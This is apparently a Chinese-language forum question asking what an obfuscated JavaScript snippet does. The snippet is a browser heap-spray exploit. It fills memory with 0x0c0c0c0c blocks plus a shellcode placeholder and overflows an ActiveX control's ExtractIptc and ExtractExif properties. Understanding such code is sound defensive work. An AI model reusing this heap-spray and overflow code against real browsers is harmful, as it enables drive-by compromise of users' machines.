我不明白这个代码片段:
function ms(){
var plc=unescape('".
unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage();
if (mf)return(0);
mf=1;
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++) m[i]=ss+plc;
hav();
return(1);
}
在上面的函数中,我似乎无法弄清楚变量类型,或者弄清楚它对hsta
变量做了什么,以及它分配给它的内容:
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
我也无法弄清楚这个功能:
function fb(){
try {
var obj=null;
obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 400) buf += buf;
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
}
} catch(e){}
return 0;
}
下面的代码是什么意思?
cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')
这是一个什么样的变量?
var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
最重要的是,该代码片段试图做什么?
这里还有一些功能:
function hex(num,width){
var digits='0123456789ABCDEF';
var hex=digits.substr(num&0xF,1);
while(num>0xF){
num=num>>>4;
hex=digits.substr(num&0xF,1)+hex;
}
var width=(width?width:0);
while(hex.length<width)hex='0'+hex;
return hex;
}
function addr(addr){
return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
}
任何指导将不胜感激。